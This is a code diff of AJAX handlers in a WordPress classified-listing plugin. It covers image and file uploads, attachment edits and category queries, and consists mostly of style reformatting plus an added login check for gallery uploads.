-		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
+		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( esc_html__( "Session error !!", "classified-listing" ) );

 			return;
 		}

 		$attach_id = isset( $_POST["attach_id"] ) ? absint( $_POST["attach_id"] ) : 0;
-		$attach = get_post( $attach_id );
-		if ( !$attach ) {
+		$attach    = get_post( $attach_id );
+		if ( ! $attach ) {
 			wp_send_json_error( __( "Attachment does not exist.", "classified-listing" ) );

 			return;
@@ -603,29 +610,28 @@
 			wp_send_json_error( __( "File is already as featured.", "classified-listing" ) );
 		}

-		if ( !set_post_thumbnail( $listingId, $attach_id ) ) {
+		if ( ! set_post_thumbnail( $listingId, $attach_id ) ) {
 			wp_send_json_error( __( "Error while making feature.", "classified-listing" ) );
 		}

 		wp_send_json_success( __( "Image successfully featured.", "classified-listing" ) );
-
 	}


 	public function gallery_image_update_order() {
-		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
+		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( esc_html__( "Session error !!", "classified-listing" ) );

 			return;
 		}

 		$listingId = intval( Functions::request( "listingId" ) );
-		if ( ( !$listingId || !$listing = rtcl()->factory->get_listing( $listingId ) || !Functions::current_user_can( 'edit_' . rtcl()->post_type, $listingId ) ) || ( !is_user_logged_in() && !Functions::is_enable_post_for_unregister() ) ) {
+		if ( ( ! $listingId || ! $listing = rtcl()->factory->get_listing( $listingId ) || ! Functions::current_user_can( 'edit_' . rtcl()->post_type, $listingId ) ) || ( ! is_user_logged_in() && ! Functions::is_enable_post_for_unregister() ) ) {
 			wp_send_json_error( __( 'You do not have sufficient permissions to set.', 'classified-listing' ) );

 			return;
 		}
-		$attachmentIds = !empty( $_POST["attachmentIds"] ) && is_array( $_POST["attachmentIds"] ) ? array_filter( array_map( 'absint', $_POST["attachmentIds"] ) ) : [];
+		$attachmentIds = ! empty( $_POST["attachmentIds"] ) && is_array( $_POST["attachmentIds"] ) ? array_filter( array_map( 'absint', $_POST["attachmentIds"] ) ) : [];
 		if ( empty( $attachmentIds ) ) {
 			wp_send_json_error( __( "Attachment ids not exist.", "classified-listing" ) );

@@ -634,7 +640,7 @@
 		foreach ( $attachmentIds as $index => $attachment_id ) {
 			wp_update_post( [
 				'ID'         => $attachment_id,
-				'menu_order' => $index
+				'menu_order' => $index,
 			] );
 		}
 		wp_send_json_success();
@@ -642,16 +648,16 @@


 	public function gallery_image_upload() {
-		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
-			wp_send_json_error( esc_html__( "Session error !!", "classified-listing" ) );
+		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
+			wp_send_json_error( esc_html__( "Unauthorized access!", "classified-listing" ) );
+		}

-			return;
+		if ( ! is_user_logged_in() ) {
+			wp_send_json_error( __( 'Registration required to upload listing image.', 'classified-listing' ) );
 		}

 		if ( empty( $_FILES['image'] ) ) {
 			wp_send_json_error( esc_html__( "Given file is empty to upload.", "classified-listing" ) );
-
-			return;
 		}

 		Filters::beforeUpload();
@@ -664,8 +670,6 @@
 		if ( isset( $status['error'] ) ) {
 			Filters::afterUpload();
 			wp_send_json_error( $status['error'] );
-
-			return;
 		}

 		// $filename should be the path to a file in the upload directory.
@@ -686,8 +690,8 @@
 			'post_content'   => '',
 			'post_status'    => 'inherit',
 			'meta_input'     => [
-				'_rtcl_attachment_type' => 'image'
-			]
+				'_rtcl_attachment_type' => 'image',
+			],
 		];

 		// Create post if does not exist
@@ -701,7 +705,7 @@
 				'post_status'     => Functions::get_temp_listing_status(),
 				'post_author'     => wp_get_current_user()->ID,
 				'post_type'       => rtcl()->post_type,
-				'comments_status' => 'closed'
+				'comments_status' => 'closed',
 			] ) );

 			remove_filter( "post_type_link", "__return_empty_string" );
@@ -710,42 +714,42 @@
 				'post_parent'    => $parent_post_id,
 				'fields'         => 'ids',
 				'post_type'      => 'attachment',
-				'posts_per_page' => -1,
+				'posts_per_page' => - 1,
 				'post_status'    => 'inherit',
 				'orderby'        => 'menu_order',
 				'order'          => 'ASC',
 				'meta_query'     => [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
-									  'relation' => 'OR',
-									  [
-										  'key'     => '_rtcl_attachment_type',
-										  'value'   => 'image',
-										  'compare' => '='
-									  ],
-									  [
-										  'key'     => '_rtcl_attachment_type',
-										  'compare' => 'NOT EXISTS'
-									  ]
-				]
+				                      'relation' => 'OR',
+				                      [
+					                      'key'     => '_rtcl_attachment_type',
+					                      'value'   => 'image',
+					                      'compare' => '=',
+				                      ],
+				                      [
+					                      'key'     => '_rtcl_attachment_type',
+					                      'compare' => 'NOT EXISTS',
+				                      ],
+				],
 			] );
 		}

 		// Insert the attachment.
 		$attach_id = wp_insert_attachment( $attachment, $filename, $parent_post_id );
-		if ( !is_wp_error( $attach_id ) ) {
+		if ( ! is_wp_error( $attach_id ) ) {
 			wp_update_attachment_metadata( $attach_id, Functions::generate_attachment_metadata( $attach_id, $filename, Functions::get_image_sizes() ) );
-			if ( !has_post_thumbnail( $parent_post_id ) ) {
+			if ( ! has_post_thumbnail( $parent_post_id ) ) {
 				set_post_thumbnail( $parent_post_id, $attach_id );
 			}
 		}

 		Filters::afterUpload();

-		if ( !empty( $oldAttachmentIds ) ) {
+		if ( ! empty( $oldAttachmentIds ) ) {
 			$oldAttachmentIds[] = $attach_id;
 			foreach ( $oldAttachmentIds as $index => $attachment_id ) {
 				wp_update_post( [
 					'ID'         => $attachment_id,
-					'menu_order' => $index
+					'menu_order' => $index,
 				] );
 			}
 		}
@@ -753,15 +757,15 @@
 	}

 	public function get_attachment_details() {
-		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
+		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( esc_html__( 'Session error !!', 'classified-listing' ) );

 			return;
 		}

 		$attachment_id = isset( $_POST['id'] ) ? absint( $_POST['id'] ) : 0;
-		$attachment = get_post( $attachment_id );
-		if ( !$attachment ) {
+		$attachment    = get_post( $attachment_id );
+		if ( ! $attachment ) {
 			wp_send_json_error( __( 'Attachment does not exist.', 'classified-listing' ) );

 			return;
@@ -775,29 +779,29 @@
 			return;
 		}

-		if ( !Functions::current_user_can( 'edit_rtcl_listing', $listingId ) ) {
+		if ( ! Functions::current_user_can( 'edit_rtcl_listing', $listingId ) ) {
 			wp_send_json_error( __( 'Unauthorized access', 'classified-listing' ) );

 			return;
 		}

 		$attachmentUrl = wp_get_attachment_url( $attachment->ID );
-		$file = $attachment->to_array();
-		$file['guid'] = $attachmentUrl;
-		$file['meta'] = wp_get_attachment_metadata( $attachment->ID );
+		$file          = $attachment->to_array();
+		$file['guid']  = $attachmentUrl;
+		$file['meta']  = wp_get_attachment_metadata( $attachment->ID );
 		wp_send_json_success( $file );
 	}

 	public function update_attachment_details() {
-		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
+		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( esc_html__( 'Session error !!', 'classified-listing' ) );

 			return;
 		}

 		$attachment_id = isset( $_POST['id'] ) ? absint( $_POST['id'] ) : 0;
-		$attachment = get_post( $attachment_id );
-		if ( !$attachment ) {
+		$attachment    = get_post( $attachment_id );
+		if ( ! $attachment ) {
 			wp_send_json_error( __( 'Attachment does not exist.', 'classified-listing' ) );

 			return;
@@ -811,7 +815,7 @@
 			return;
 		}

-		if ( !Functions::current_user_can( 'edit_rtcl_listing', $listingId ) ) {
+		if ( ! Functions::current_user_can( 'edit_rtcl_listing', $listingId ) ) {
 			wp_send_json_error( __( 'Unauthorized access', 'classified-listing' ) );

 			return;
@@ -819,8 +823,8 @@

 		$updatedId = wp_update_post( [
 			'ID'           => $attachment->ID,
-			'post_excerpt' => !empty( $_POST['data']['caption'] ) ? trim( sanitize_text_field( $_POST['data']['caption'] ) ) : '',
-			'post_content' => !empty( $_POST['data']['content'] ) ? trim( sanitize_text_field( $_POST['data']['content'] ) ) : '',
+			'post_excerpt' => ! empty( $_POST['data']['caption'] ) ? trim( sanitize_text_field( $_POST['data']['caption'] ) ) : '',
+			'post_content' => ! empty( $_POST['data']['content'] ) ? trim( sanitize_text_field( $_POST['data']['content'] ) ) : '',
 		] );

 		if ( is_wp_error( $updatedId ) ) {
@@ -828,13 +832,13 @@

 			return;
 		}
-		$attachment = get_post( $updatedId, ARRAY_A );
+		$attachment         = get_post( $updatedId, ARRAY_A );
 		$attachment['meta'] = wp_get_attachment_metadata( $updatedId );
 		wp_send_json_success( $attachment );
 	}

 	public function file_upload() {
-		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
+		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( esc_html__( 'Session error !!', 'classified-listing' ) );

 			return;
@@ -846,7 +850,7 @@
 			return;
 		}

-		$form_id = !empty( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0;
+		$form_id = ! empty( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0;
 		if ( empty( $form_id ) ) {
 			wp_send_json_error( esc_html__( 'From id is empty to upload.', 'classified-listing' ) );

@@ -854,10 +858,10 @@
 		}

 		$repeater_uuid = Functions::request( 'repeater_uuid' );
-		$field_uuid = Functions::request( 'field_uuid' );
+		$field_uuid    = Functions::request( 'field_uuid' );
 		$repeaterIndex = Functions::request( 'repeater_index' );
-		$repeater = null;
-		$field = null;
+		$repeater      = null;
+		$field         = null;
 		if ( $repeater_uuid ) {
 			if ( empty( $repeater_uuid ) || empty( $field_uuid ) ) {
 				wp_send_json_error( esc_html__( 'Field id is empty to upload.', 'classified-listing' ) );
@@ -872,9 +876,9 @@
 				return;
 			}

-			if ( !empty( $repeater['fields'] ) ) {
+			if ( ! empty( $repeater['fields'] ) ) {
 				foreach ( $repeater['fields'] as $_field ) {
-					if ( !empty( $_field['uuid'] ) && $_field['uuid'] === $field_uuid ) {
+					if ( ! empty( $_field['uuid'] ) && $_field['uuid'] === $field_uuid ) {
 						$field = $_field;
 						break;
 					}
@@ -889,7 +893,6 @@
 				}
 			}
 		} else {
-
 			if ( empty( $field_uuid ) ) {
 				wp_send_json_error( esc_html__( 'Field id is empty to upload.', 'classified-listing' ) );

@@ -905,7 +908,7 @@
 			return;
 		}

-		$fileMetaKey = !empty( $field['name'] ) ? $field['name'] : null;
+		$fileMetaKey = ! empty( $field['name'] ) ? $field['name'] : null;

 		if ( empty( $fileMetaKey ) ) {
 			wp_send_json_error( esc_html__( 'Field name is empty.', 'classified-listing' ) );
@@ -918,9 +921,9 @@
 		if ( $listing_id ) {
 			if ( $repeater ) {
 				$repeaterValue = get_post_meta( $listing_id, $repeater['name'], true );
-				$repeaterValue = !is_array( $repeaterValue ) || empty( $repeaterValue ) ? [] : $repeaterValue;
-				if ( !empty( $repeaterValue[$repeaterIndex][$fileMetaKey] ) && is_array( $repeaterValue[$repeaterIndex][$fileMetaKey] ) ) {
-					$attachment_ids = array_map( 'absint', $repeaterValue[$repeaterIndex][$fileMetaKey] );
+				$repeaterValue = ! is_array( $repeaterValue ) || empty( $repeaterValue ) ? [] : $repeaterValue;
+				if ( ! empty( $repeaterValue[ $repeaterIndex ][ $fileMetaKey ] ) && is_array( $repeaterValue[ $repeaterIndex ][ $fileMetaKey ] ) ) {
+					$attachment_ids = array_map( 'absint', $repeaterValue[ $repeaterIndex ][ $fileMetaKey ] );
 				} else {
 					$attachment_ids = [];
 				}
@@ -928,28 +931,28 @@
 				$attachment_ids = get_post_meta( $listing_id, $fileMetaKey, true );
 			}

-			$attachment_ids = !empty( $attachment_ids ) && is_array( $attachment_ids ) ? $attachment_ids : [];
-			if ( !empty( $attachment_ids ) ) {
+			$attachment_ids = ! empty( $attachment_ids ) && is_array( $attachment_ids ) ? $attachment_ids : [];
+			if ( ! empty( $attachment_ids ) ) {
 				$check_attachment_ids = get_children( [
 					'fields'         => 'ids',
 					'post_parent'    => $listing_id,
 					'post_type'      => 'attachment',
 					'post__in'       => $attachment_ids,
 					'orderby'        => 'post__in',
-					'posts_per_page' => -1,
+					'posts_per_page' => - 1,
 					'post_status'    => 'inherit',
 					'meta_query'     => [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
-										  [
-											  'key'     => '_rtcl_attachment_type',
-											  'value'   => 'file',
-											  'compare' => '='
-										  ]
-					]
+					                      [
+						                      'key'     => '_rtcl_attachment_type',
+						                      'value'   => 'file',
+						                      'compare' => '=',
+					                      ],
+					],
 				] );
 				if ( $attachment_ids !== $check_attachment_ids ) {
 					if ( $repeater ) {
-						if ( !empty( $repeaterValue ) && is_array( $repeaterValue ) ) {
-							$repeaterValue[$repeaterIndex][$fileMetaKey] = $check_attachment_ids;
+						if ( ! empty( $repeaterValue ) && is_array( $repeaterValue ) ) {
+							$repeaterValue[ $repeaterIndex ][ $fileMetaKey ] = $check_attachment_ids;
 							update_post_meta( $listing_id, $repeater['name'], $repeaterValue );
 						}
 					} else {
@@ -962,10 +965,10 @@
 			$attachment_ids = [];
 		}

-		if ( !empty( $field['validation']['max_file_count']['value'] ) ) {
+		if ( ! empty( $field['validation']['max_file_count']['value'] ) ) {
 			$maxFileCount = absint( $field['validation']['max_file_count']['value'] );
 			if ( $maxFileCount && count( $attachment_ids ) >= $maxFileCount ) {
-				$message = !empty( $field['validation']['max_file_count']['message'] ) ? str_replace( '{value}', $maxFileCount, $field['validation']['max_file_count']['message'] ) : esc_html__( 'Your file upload limit is over.', 'classified-listing' );
+				$message = ! empty( $field['validation']['max_file_count']['message'] ) ? str_replace( '{value}', $maxFileCount, $field['validation']['max_file_count']['message'] ) : esc_html__( 'Your file upload limit is over.', 'classified-listing' );
 				wp_send_json_error( $message );

 				return;
@@ -1006,13 +1009,12 @@
 			'post_status'     => 'inherit',
 			'comments_status' => 'closed',
 			'meta_input'      => [
-				'_rtcl_attachment_type' => 'file'
-			]
+				'_rtcl_attachment_type' => 'file',
+			],
 		];

 		// Create post if does not exist
 		if ( $listing_id < 1 ) {
-
 			add_filter( 'post_type_link', '__return_empty_string' );

 			$listing_id = wp_insert_post( apply_filters( 'rtcl_insert_temp_post_for_file', [
@@ -1021,7 +1023,7 @@
 				'post_status'     => Functions::get_temp_listing_status(),
 				'post_author'     => wp_get_current_user()->ID,
 				'post_type'       => rtcl()->post_type,
-				'comments_status' => 'closed'
+				'comments_status' => 'closed',
 			] ) );

 			remove_filter( 'post_type_link', '__return_empty_string' );
@@ -1029,13 +1031,13 @@

 		// Insert the attachment.
 		$attach_id = wp_insert_attachment( $attachment, $filename, $listing_id );
-		if ( !is_wp_error( $attach_id ) ) {
+		if ( ! is_wp_error( $attach_id ) ) {
 			wp_update_attachment_metadata( $attach_id, Functions::generate_attachment_metadata( $attach_id, $filename, Functions::get_default_image_sizes() ) );
 		}

 		$attachment_ids[] = $attach_id;
 		if ( $repeater ) {
-			$repeaterValue[$repeaterIndex][$fileMetaKey] = $attachment_ids;
+			$repeaterValue[ $repeaterIndex ][ $fileMetaKey ] = $attachment_ids;
 			update_post_meta( $listing_id, $repeater['name'], $repeaterValue );
 		} else {
 			update_post_meta( $listing_id, $fileMetaKey, $attachment_ids );
@@ -1047,23 +1049,23 @@
 	}

 	public function file_delete() {
-		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
+		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( esc_html__( 'Session error !!', 'classified-listing' ) );

 			return;
 		}

-		$form_id = !empty( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0;
+		$form_id = ! empty( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0;
 		if ( empty( $form_id ) ) {
 			wp_send_json_error( esc_html__( 'From id is empty to delete.', 'classified-listing' ) );

 			return;
 		}
 		$repeater_uuid = Functions::request( 'repeater_uuid' );
-		$field_uuid = Functions::request( 'field_uuid' );
+		$field_uuid    = Functions::request( 'field_uuid' );
 		$repeaterIndex = Functions::request( 'repeater_index' );
-		$repeater = null;
-		$field = null;
+		$repeater      = null;
+		$field         = null;

 		if ( $repeater_uuid ) {
 			if ( empty( $repeater_uuid ) || empty( $field_uuid ) ) {
@@ -1079,9 +1081,9 @@
 				return;
 			}

-			if ( !empty( $repeater['fields'] ) ) {
+			if ( ! empty( $repeater['fields'] ) ) {
 				foreach ( $repeater['fields'] as $_field ) {
-					if ( !empty( $_field['uuid'] ) && $_field['uuid'] === $field_uuid ) {
+					if ( ! empty( $_field['uuid'] ) && $_field['uuid'] === $field_uuid ) {
 						$field = $_field;
 						break;
 					}
@@ -1111,7 +1113,7 @@
 			return;
 		}

-		$fileMetaKey = !empty( $field['name'] ) ? $field['name'] : null;
+		$fileMetaKey = ! empty( $field['name'] ) ? $field['name'] : null;

 		if ( empty( $fileMetaKey ) ) {
 			wp_send_json_error( esc_html__( 'Field name is empty.', 'classified-listing' ) );
@@ -1120,16 +1122,16 @@
 		}

 		$attach_id = isset( $_POST['attach_id'] ) ? absint( $_POST['attach_id'] ) : 0;
-		$attach = get_post( $attach_id );
-		if ( !$attach ) {
+		$attach    = get_post( $attach_id );
+		if ( ! $attach ) {
 			wp_send_json_error( __( 'Attachment does not exist.', 'classified-listing' ) );

 			return;
 		}
 		$listing_id = absint( Functions::request( "listingId" ) );
-		$listing = rtcl()->factory->get_listing( $listing_id );
+		$listing    = rtcl()->factory->get_listing( $listing_id );

-		if ( $listing && !Functions::current_user_can( 'edit_' . rtcl()->post_type, $listing_id ) ) {
+		if ( $listing && ! Functions::current_user_can( 'edit_' . rtcl()->post_type, $listing_id ) ) {
 			wp_send_json_error( apply_filters( 'rtcl_fb_not_found_error_message', __( 'You do not have sufficient permissions to access this page.', 'classified-listing' ), $_REQUEST, 'permission_error' ) );

 			return;
@@ -1143,37 +1145,37 @@

 		if ( $repeater ) {
 			$repeaterValue = get_post_meta( $listing_id, $repeater['name'], true );
-			$repeaterValue = !is_array( $repeaterValue ) || empty( $repeaterValue ) ? [] : $repeaterValue;
-			if ( !empty( $repeaterValue[$repeaterIndex][$fileMetaKey] ) && is_array( $repeaterValue[$repeaterIndex][$fileMetaKey] ) ) {
-				$attachment_ids = array_map( 'absint', $repeaterValue[$repeaterIndex][$fileMetaKey] );
+			$repeaterValue = ! is_array( $repeaterValue ) || empty( $repeaterValue ) ? [] : $repeaterValue;
+			if ( ! empty( $repeaterValue[ $repeaterIndex ][ $fileMetaKey ] ) && is_array( $repeaterValue[ $repeaterIndex ][ $fileMetaKey ] ) ) {
+				$attachment_ids = array_map( 'absint', $repeaterValue[ $repeaterIndex ][ $fileMetaKey ] );
 			} else {
 				$attachment_ids = [];
 			}
 		} else {
 			$attachment_ids = get_post_meta( $listing_id, $fileMetaKey, true );
 		}
-		$attachment_ids = !empty( $attachment_ids ) && is_array( $attachment_ids ) ? $attachment_ids : [];
-		if ( !empty( $attachment_ids ) ) {
+		$attachment_ids = ! empty( $attachment_ids ) && is_array( $attachment_ids ) ? $attachment_ids : [];
+		if ( ! empty( $attachment_ids ) ) {
 			$check_attachment_ids = get_children( [
 				'fields'         => 'ids',
 				'post_parent'    => $listing_id,
 				'post_type'      => 'attachment',
 				'post__in'       => $attachment_ids,
 				'orderby'        => 'post__in',
-				'posts_per_page' => -1,
+				'posts_per_page' => - 1,
 				'post_status'    => 'inherit',
 				'meta_query'     => [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
-									  [
-										  'key'     => '_rtcl_attachment_type',
-										  'value'   => 'file',
-										  'compare' => '='
-									  ]
-				]
+				                      [
+					                      'key'     => '_rtcl_attachment_type',
+					                      'value'   => 'file',
+					                      'compare' => '=',
+				                      ],
+				],
 			] );
 			if ( $attachment_ids !== $check_attachment_ids ) {
 				if ( $repeater ) {
-					if ( !empty( $repeaterValue ) && is_array( $repeaterValue ) ) {
-						$repeaterValue[$repeaterIndex][$fileMetaKey] = $check_attachment_ids;
+					if ( ! empty( $repeaterValue ) && is_array( $repeaterValue ) ) {
+						$repeaterValue[ $repeaterIndex ][ $fileMetaKey ] = $check_attachment_ids;
 						update_post_meta( $listing_id, $repeater['name'], $repeaterValue );
 					}
 				} else {
@@ -1183,13 +1185,13 @@
 			}
 		}

-		if ( empty( $attachment_ids ) || !in_array( $attach->ID, $attachment_ids ) ) {
+		if ( empty( $attachment_ids ) || ! in_array( $attach->ID, $attachment_ids ) ) {
 			wp_send_json_error( __( 'No file found to delete.', 'classified-listing' ) );

 			return;
 		}

-		if ( !wp_delete_attachment( $attach_id ) ) {
+		if ( ! wp_delete_attachment( $attach_id ) ) {
 			wp_send_json_error( __( 'File could not be deleted.', 'classified-listing' ) );

 			return;
@@ -1198,12 +1200,12 @@
 		$attachment_ids = array_filter( $attachment_ids,
 			function ( $item_id ) use ( $attach ) {
 				return $item_id !== $attach->ID;
-			}
+			},
 		);

 		if ( $repeater ) {
-			if ( !empty( $repeaterValue ) && is_array( $repeaterValue ) ) {
-				$repeaterValue[$repeaterIndex][$fileMetaKey] = $attachment_ids;
+			if ( ! empty( $repeaterValue ) && is_array( $repeaterValue ) ) {
+				$repeaterValue[ $repeaterIndex ][ $fileMetaKey ] = $attachment_ids;
 				update_post_meta( $listing_id, $repeater['name'], $repeaterValue );
 			}
 		} else {
@@ -1214,62 +1216,60 @@
 	}

 	public function get_category(): void {
-
-		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
+		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( esc_html__( 'Session error !!', 'classified-listing' ) );

 			return;
 		}

-		$parent_id = !empty( $_POST['parentId'] ) ? absint( $_POST['parentId'] ) : 0;
-		$excludeIds = !empty( $_POST['exclude'] ) && is_array( $_POST['exclude'] ) ? array_map( 'absint', $_POST['exclude'] ) : [];
-		$includeIds = !empty( $_POST['include'] ) && is_array( $_POST['include'] ) ? array_map( 'absint', $_POST['include'] ) : [];
+		$parent_id  = ! empty( $_POST['parentId'] ) ? absint( $_POST['parentId'] ) : 0;
+		$excludeIds = ! empty( $_POST['exclude'] ) && is_array( $_POST['exclude'] ) ? array_map( 'absint', $_POST['exclude'] ) : [];
+		$includeIds = ! empty( $_POST['include'] ) && is_array( $_POST['include'] ) ? array_map( 'absint', $_POST['include'] ) : [];

 		$listingType = Functions::request( 'listingType' );
-		$data = [];
-		if ( !empty( $listingType ) ) {
+		$data        = [];
+		if ( ! empty( $listingType ) ) {
 			$data['type'] = $listingType;
 		}
-		if ( !empty( $excludeIds ) ) {
+		if ( ! empty( $excludeIds ) ) {
 			$data['exclude'] = $excludeIds;
 		}
-		if ( !empty( $includeIds ) ) {
+		if ( ! empty( $includeIds ) ) {
 			$data['include'] = $includeIds;
 		}
 		$categories = Functions::get_sub_terms( rtcl()->category, $parent_id, $data );
-		$data = [
+		$data       = [
 			'success' => true,
 			'message' => [],
-			'cat_id'  => $parent_id
+			'cat_id'  => $parent_id,
 		];
-		$response = apply_filters( 'rtcl_ajax_category_selection_before_post', $data );
-		if ( empty( $response['success'] ) && !empty( $response['message'] ) ) {
+		$response   = apply_filters( 'rtcl_ajax_category_selection_before_post', $data );
+		if ( empty( $response['success'] ) && ! empty( $response['message'] ) ) {
 			wp_send_json_error( $response['message'][0] );

 			return;
 		}

 		wp_send_json_success( [
-			'data' => $categories
+			'data' => $categories,
 		] );
 	}

 	public function get_filtered_categories(): void {
-
-		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
+		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( esc_html__( "Session error !!", "classified-listing" ) );

 			return;
 		}

-		$ids = !empty( $_POST['ids'] ) && is_array( $_POST['ids'] ) ? array_map( 'absint', $_POST['ids'] ) : [];
-		$parentId = isset( $_POST['parentId'] ) ? ( $_POST['parentId'] == 0 ? 0 : absint( $_POST['parentId'] ) ) : '';
-		$excludeIds = !empty( $_POST['excludeIds'] ) && is_array( $_POST['excludeIds'] ) ? array_map( 'absint', $_POST['excludeIds'] ) : [];
-		$q = !empty( $_POST['q'] ) ? sanitize_text_field( $_POST['q'] ) : '';
-		$orderby = strtolower( Functions::get_option_item( 'rtcl_archive_listing_settings', 'taxonomy_orderby', 'name' ) );
-		$order = strtoupper( Functions::get_option_item( 'rtcl_archive_listing_settings', 'taxonomy_order', 'DESC' ) );
-		$number = isset( $_POST['number'] ) ? absint( $_POST['number'] ) : false;
-		$args = [
+		$ids         = ! empty( $_POST['ids'] ) && is_array( $_POST['ids'] ) ? array_map( 'absint', $_POST['ids'] ) : [];
+		$parentId    = isset( $_POST['parentId'] ) ? ( $_POST['parentId'] == 0 ? 0 : absint( $_POST['parentId'] ) ) : '';
+		$excludeIds  = ! empty( $_POST['excludeIds'] ) && is_array( $_POST['excludeIds'] ) ? array_map( 'absint', $_POST['excludeIds'] ) : [];
+		$q           = ! empty( $_POST['q'] ) ? sanitize_text_field( $_POST['q'] ) : '';
+		$orderby     = strtolower( Functions::get_option_item( 'rtcl_archive_listing_settings', 'taxonomy_orderby', 'name' ) );
+		$order       = strtoupper( Functions::get_option_item( 'rtcl_archive_listing_settings', 'taxonomy_order', 'DESC' ) );
+		$number      = isset( $_POST['number'] ) ? absint( $_POST['number'] ) : false;
+		$args        = [
 			'hide_empty'   => false,
 			'orderby'      => $orderby,
 			'order'        => ( 'DESC' === $order ) ? 'DESC' : 'ASC',
@@ -1280,7 +1280,7 @@
 			'search'       => $q,
 			'include'      => $ids,
 			'exclude'      => $excludeIds,
-			'number'       => $number
+			'number'       => $number,
 			// phpcs:ignore WordPressVIPMinimum.Performance.WPQueryParams.PostNotIn_exclude
 		];
 		$listingType = Functions::request( 'listingType' );
@@ -1288,18 +1288,18 @@
 			$args['meta_query'] = [
 				[
 					'key'   => '_rtcl_types',
-					'value' => $listingType
-				]
+					'value' => $listingType,
+				],
 			];
 		}
-		$data = [];
+		$data       = [];
 		$categories = get_terms( $args );
-		if ( !is_wp_error( $categories ) && !empty( $categories ) ) {
+		if ( ! is_wp_error( $categories ) && ! empty( $categories ) ) {
 			foreach ( $categories as $term ) {
 				$image_id = get_term_meta( $term->term_id, '_rtcl_image', true );
 				if ( $image_id ) {
-					$image_attributes = wp_get_attachment_image_src( (int)$image_id, 'medium' );
-					if ( !empty( $image_attributes[0] ) ) {
+					$image_attributes = wp_get_attachment_image_src( (int) $image_id, 'medium' );
+					if ( ! empty( $image_attributes[0] ) ) {
 						$term->img_url = $image_attributes[0];
 					}
 				}
@@ -1311,40 +1311,39 @@
 			}
 		}
 		wp_send_json_success( [
-			'data' => $data
+			'data' => $data,
 		] );
-
 	}


 	public function get_terms_callback() {
-
-		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
+		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( esc_html__( "Session error !!", "classified-listing" ) );

 			return;
 		}
-		$includeIds = !empty( $_POST['includeIds'] ) && is_array( $_POST['includeIds'] ) ? array_map( 'absint', $_POST['includeIds'] ) : [];
-		if ( empty( $includeIds ) && !empty( $_POST['ids'] ) ) {
+		$includeIds = ! empty( $_POST['includeIds'] ) && is_array( $_POST['includeIds'] ) ? array_map( 'absint', $_POST['includeIds'] ) : [];
+		if ( empty( $includeIds ) && ! empty( $_POST['ids'] ) ) {
 			$includeIds = is_array( $_POST['ids'] ) ? array_map( 'absint', $_POST['ids'] ) : [];
 		}
-		$parentId = isset( $_POST['parentId'] ) ? ( $_POST['parentId'] == 0 ? 0 : absint( $_POST['parentId'] ) ) : '';
-		$excludeIds = !empty( $_POST['excludeIds'] ) && is_array( $_POST['excludeIds'] ) ? array_map( 'absint', $_POST['excludeIds'] ) : [];
